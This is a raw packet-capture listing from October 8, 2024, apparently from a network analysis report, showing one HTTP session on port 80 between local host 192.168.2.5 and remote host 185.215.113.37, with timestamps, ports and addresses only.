Oct 8, 2024 05:27:16.294986010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.295001984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.295018911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.295037985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.295053959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.295073032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.295088053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.295099020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.295124054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.295135021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.295157909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.295171976 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.295196056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.295207024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.295247078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.445771933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.445816994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.445847988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.445854902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.445872068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.445893049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.445903063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.445928097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.445939064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.445962906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.445971966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446010113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446027994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446079016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446088076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446118116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446137905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446162939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446171045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446207047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446221113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446257114 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446258068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446291924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446305990 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446326017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446341991 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446361065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446373940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446394920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446410894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446429968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446444988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446463108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446476936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446499109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446511984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446530104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446544886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446566105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446578026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446603060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446613073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446633101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446650982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446685076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.446927071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446963072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.446985960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447005033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447016954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.447052956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.447069883 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447088003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.447101116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447123051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.447135925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447158098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.447170973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447194099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.447206020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447241068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447865963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.447921038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.447921038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447967052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.447971106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448002100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448016882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448019028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448034048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448041916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448060036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448060989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448071003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448076963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448100090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448103905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448117971 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448122025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448137999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448146105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448153973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448158979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448170900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448178053 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448189020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448194981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448208094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448229074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.448939085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448952913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448967934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.448992968 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.449003935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.449018955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.449026108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.449044943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.449048996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.449062109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.449069023 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.449080944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.449081898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.449096918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.449100971 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.449122906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.449131012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.533823967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.533883095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.534116030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.534208059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569349051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569399118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569433928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569449902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569468021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569468975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569484949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569504976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569515944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569550037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569555998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569587946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569595098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569624901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569633007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569669962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569745064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569775105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569792032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569809914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569818020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569844007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569855928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569879055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.569889069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569921970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.569961071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570009947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570231915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570280075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570313931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570348024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570358992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570391893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570424080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570468903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570472956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570518017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570524931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570559025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570569992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570601940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570610046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570643902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570657015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570677996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570686102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570713043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570720911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570748091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570760965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570781946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570792913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570816994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570823908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570849895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570861101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570883989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570893049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570919037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570928097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570955038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570962906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.570985079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.570998907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571017981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571029902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571053028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571062088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571088076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571099043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571132898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571145058 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571166992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571180105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571202993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571212053 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571258068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571283102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571331024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571333885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571365118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571381092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571412086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571450949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571485996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571502924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571518898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571528912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571556091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571563959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571588993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571599960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571624994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571635008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571659088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571669102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571697950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571702957 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571728945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571743965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571763992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571770906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571799994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571811914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571832895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571846008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571867943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571877003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571903944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571914911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571937084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571950912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.571968079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.571981907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572000980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572015047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572042942 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572110891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572143078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572155952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572176933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572191954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572208881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572221994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572242975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572252989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572285891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572326899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572360992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572374105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572395086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572402954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572428942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572438955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572479010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572479963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572511911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572523117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572561979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572567940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572616100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572618008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572652102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572664022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572701931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572701931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572738886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572747946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572789907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572792053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572838068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572840929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572890043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572892904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572926044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572940111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572958946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.572968006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.572993040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573003054 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573029995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573036909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573060989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573074102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573107958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573111057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573147058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573157072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573198080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573200941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573250055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573251009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573283911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573295116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573333025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573334932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573381901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573385954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573419094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573425055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573452950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573463917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573488951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573498964 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573523998 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573534966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573559999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573573112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573595047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573606014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573630095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573640108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573663950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573674917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573698997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573708057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573734045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573743105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573770046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573777914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573807001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573816061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573843956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573853016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.573873997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.573887110 CEST	49706	80	192.168.2.5	185.215.113.37
